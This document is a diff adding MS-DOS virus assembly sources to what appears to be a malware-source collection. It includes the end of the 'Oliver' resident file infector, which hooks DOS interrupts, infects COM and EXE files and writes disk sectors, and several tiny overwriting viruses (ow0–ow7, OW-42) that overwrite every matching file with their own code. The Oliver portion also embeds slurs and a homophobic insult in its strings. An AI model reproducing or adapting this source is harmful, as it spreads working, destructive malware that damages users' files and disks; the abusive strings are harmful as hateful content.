mem_ok + sub ds:[6],ax ;: + ;: + ;: +mem_ok: + pop si + push si + push ds + push cs + mov di,0 ;dummy + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + mov ax,2367h ;dummy + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21;: + ;: + ;: + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +;: +;: +;: +;: + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,2468h ;dummy + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,1234h ;dummy + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: ;: + ;: + ;: + lodsw ;: + ;: + ;: + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +;: +;: +;: +;: +;: + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + mov ax,234h ;dummy + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ;: + ;: + ;: + jnz store_sec ;: + ;: + ;: + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,0 ;dummy + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + nop ;dummy + int 26h + +;: +;: +;: +;: +;: +;: +;: +;: +;: + + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + nop ;dummy + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + mov ah,33h ;dummy + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ;: + ;: + + nop ;dummy + iret + +;: + + db 'by Oliver Wendell Jones ',0 + db 'Politically Incorrect Personal Computers Presents: ',0 + db 'the OLIVER VIRUS! Nya Ha Ha! ',0 + db 'Men Rule! ',0 + db 'America Kicks Butt! ',0 + db 'Rap Sucks! ',0 + db 'Eat Fatty Food! ',0 + db 'Dames Melt Like Jell-O for Naughty Men! ',0 + db 'Ted Kennedy Sucks Barney Frank`s Fag Cock! ',0 + + +;: +;: +;: + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +;: +;: +;: +;: +;: +;: +;: +;: +;: + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Berk B.',0 + +;: +;: +;: +;: +;: +;: +;: +;: +;: +;: +;: +;: + + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0;: + ;: + ;: + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ;: + ;: + ;: + ;: + jne dont_touch ;: + ;: + ;: + ;: +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +;: +;: +;: +;: + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + nop ;dummy + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + nop ;dummy + call get_byte + cmp ax,'co' + nop ;dummy + jz pos_com + cmp ax,'ex' + nop ;dummy + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +;: +;: +;: +;: + + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +;: +;: +;: + +function: + pushf + call dword ptr cs:[save_int_21] + ret + + +;: +;: +;: + +do_file: + push ds ;: + ;: + ;: + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ;: + ;: + ;: + push es ;: + ;: + ;: + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ;: + ;: + ;: + ;: + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ;: + ;: + ;: + call function ;: + ;: + ;: + jc cant_open + mov bx,ax + call disease + mov ah,3eh ;: + ;: + ;: + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ;: + ;: + ;: + ;: + call function ;: + ;: + ;: + ;: +no_update: + xor ax,ax ;: + ;: + ;: + ;: + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ;: + ;: + ;: + ;: + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + + +;: +;: +;: +;: + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ;: + ;: + ;: + mov cx,18h + mov ah,3fh + call int21h + xor cx,cx + xor dx,dx + mov ax,4202h ;: + ;: + ;: + ;: + + call int21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ;: + ;: + ;: + ;: + sbb dx,0 + jc stop_fuck_2 ;: + ;: + ;: + ;: + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +;: +;: +;: +;: + + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + call int21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + call int21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ;: + ;: + ;: + ;: + xor dx,dx + mov ax,4202h + call int21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ;: + ;: + ;: + ;: + adc dx,0 + je fuck_it + ret + +;: +;: +;: +;: + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + call int21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ;: + ;: + ;: + ;: + call int21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ;: + ;: + ;: + ;: + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,0 ;dummy + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ;: + ;: + ;: + movsb ;: + ;: + ;: + movsw ;: + ;: + ;: + xor dx,dx + mov cx,offset top_file + mov ah,40h + call int21h ;: + ;: + ;: + jc go_no_fuck ;: + ;: + ;: + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + call int21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,2233h ;dummy + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +;: +;: +;: +;: + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,11h ;dummy + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + nop ;dummy + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + nop ;dummy + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + call int21h ;: + ;: + ;: + ;: +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ;: + ;: + ;: + ;: + call int21h +stop_fuck: + ret + +; +; +; +; +; +; +; +; +; +; +; +; +; +; + + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +;: +;: +;: +;: +;: +;: +;: +;: + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + nop ;dummy + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; +; +; +; +; +; +; +; + + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,3322h ;dummy + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + nop ;dummy + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; +; +; +; +; +; + +return_control: + mov ds,bx + nop ;dummy + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; +; +; +; +get_chain: + push ax + push bx + mov ah,22h ;dummy + mov ah,61h ;mod'd + inc ah ;mod'd to 62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,ax ;dummy + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; +; +; +; + +mul_hdr: + mov ax,word ptr [top_save+8] +mul_16: + mov dx,10h + mul dx + ret + +int21h: int 21h + ret + + db 'Banana 6000 P.I.P.C. ' + db '(C) I spell -Lightening- wrong! ',0 + +; +; +; +; +; +; +; +; + + +int_13: + cmp ah,22h ;dummy + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;: + ;: + ;: + ;: +disk: + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ;: + ;: + ;: + ;: +my_save: + int 20h ;: + ;: + ;: + ;: + nop ;: + ;: + ;: +top_file: ;: + ;: + ;: + ;: +filehndl equ $ +filename equ filehndl+2 ;: + ;: + ;: + ;: + ;: +save_int_27 equ filename+65 ;: + ;: + ;: + ;: + ;: +save_int_21 equ save_int_27+4 ;: + ;: + ;: + ;: + ;: +aux_size equ save_int_21+4 ;: + ;: + ;: + ;: + ;: +top_save equ save_int_21+4 ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: +top_bz equ top_save-copyright +my_bz equ my_size-copyright +code ends + end + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.ow0.asm b/MSDOS/Virus.MSDOS.Unknown.ow0.asm new file mode 100644 index 00000000..95acd68f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow0.asm @@ -0,0 +1,28 @@ +Main: + Mov Ah,4eh +On1: Lea Dx,FileSpec + Int 21h + Jc On2 + Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Mov Bh,40h + Lea Dx,Main + Xchg Ax,Bx + Mov Cl,Ah + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp On1 +FileSpec Db '*.com',0 + Db 'Trident' +On2: Mov Ah,2ch + Int 21h + Cmp Dl,10 + Ja Ende + Mov Al,2 + Xor Dx,Dx + Int 25h +Ende: Ret +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow1.asm b/MSDOS/Virus.MSDOS.Unknown.ow1.asm new file mode 100644 index 00000000..2d4fb966 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow1.asm @@ -0,0 +1,20 @@ +Main: + Mov Ah,4eh +On1: Lea Dx,FileSpec + Int 21h + Jc Ende + Mov Ax,3d01h + Mov Dx,9eh + Int 21h + Mov Bh,40h + Lea Dx,Main + Xchg Ax,Bx + Mov Cl,Length + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp On1 +FileSpec Db '*.com',0 +Ende: Ret +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow2.asm b/MSDOS/Virus.MSDOS.Unknown.ow2.asm new file mode 100644 index 00000000..b4975d27 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow2.asm @@ -0,0 +1,19 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + jc on1 + Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Mov bh,40h + Mov Cl,Length + Lea Dx,Main + Xchg Ax,Bx + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp On2 +On1: Ret +FileSpec Db '*.COM',0 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow3.asm b/MSDOS/Virus.MSDOS.Unknown.ow3.asm new file mode 100644 index 00000000..139eb02d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow3.asm @@ -0,0 +1,17 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + jc on1 + Mov Ah,3dh + inc ax + Mov Dx,9eh + Int 21h + Mov Bh,40h + Xchg Ax,Bx + Lea Dx,Main + Mov Cl,Length + Int 21h + Mov Ah,4fh +On1: Jmp On2 +FileSpec Db '*.COM',0 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow4.asm b/MSDOS/Virus.MSDOS.Unknown.ow4.asm new file mode 100644 index 00000000..276c1ea9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow4.asm @@ -0,0 +1,14 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Mov Bh,40h + Xchg Ax,Bx + Lea Dx,Main + Mov Cl,Length + Int 21h +On1: Ret +FileSpec Db '*.*',0 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow5.asm b/MSDOS/Virus.MSDOS.Unknown.ow5.asm new file mode 100644 index 00000000..7f088fd0 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow5.asm @@ -0,0 +1,13 @@ +Main: Lea Dx,FileSpec + Mov Ah,4eh + Int 21h + Mov Dx,9eh + Mov Ah,3ch + Int 21h + Lea Dx,Main + Mov Bh,40h + Mov Cl,Length + Xchg Ax,Bx + Int 21h +FileSpec Db '*.*',0 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow6.asm b/MSDOS/Virus.MSDOS.Unknown.ow6.asm new file mode 100644 index 00000000..7ca03b7b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow6.asm @@ -0,0 +1,13 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + Mov Ah,3ch + Mov Dx,9eh + Int 21h + Mov Bh,40h + Xchg Ax,Bx + Lea Dx,Main + Mov Cl,Length + Int 21h +FileSpec Db '*.*',0 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow7.asm b/MSDOS/Virus.MSDOS.Unknown.ow7.asm new file mode 100644 index 00000000..903cb65b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow7.asm @@ -0,0 +1,13 @@ +Main: Mov Ah,4eh + Lea Dx,FileSpec + Int 21h + Mov Ah,3ch + Mov Dx,9eh +On2: Int 21h + Mov Dl,Length +FileSpec Db '*.*',0 + Mov Bh,40h + Xchg Cx,Dx + Xchg Ax,Bx + Jmp On2 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow_42.asm b/MSDOS/Virus.MSDOS.Unknown.ow_42.asm new file mode 100644 index 00000000..48c853fb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow_42.asm @@ -0,0 +1,39 @@ +;OW-42 virus - TridenT group, edited for Crypt Newsletter 13 +; + + +CODE SEGMENT + ASSUME CS:CODE, DS:CODE, ES:CODE, SS:NOTHING + + org 0100h + +start: mov ah,4Eh ; find first file +recurse: + mov dx,0123h ; matching filemask, "*.*" + int 21h + + + db 72h,20h ;hand-coded jump on carry to + ;exit if no more files found + mov ax,3D01h + mov dx,009Eh + int 21h + + mov bh,40h + mov dx,0100h ;starting from beginning + xchg ax,bx ;put handle in ax + mov cl,2Ah ;to write: 42 bytes of virus + int 21h ;write the virus + mov ah,3Eh ;close the file + int 21h + + mov ah,4Fh ;find next file + jmp Short recurse + + + db "*.COM" ;file_mask + dw 0C300h ;hand-coded return + +CODE ENDS + END START +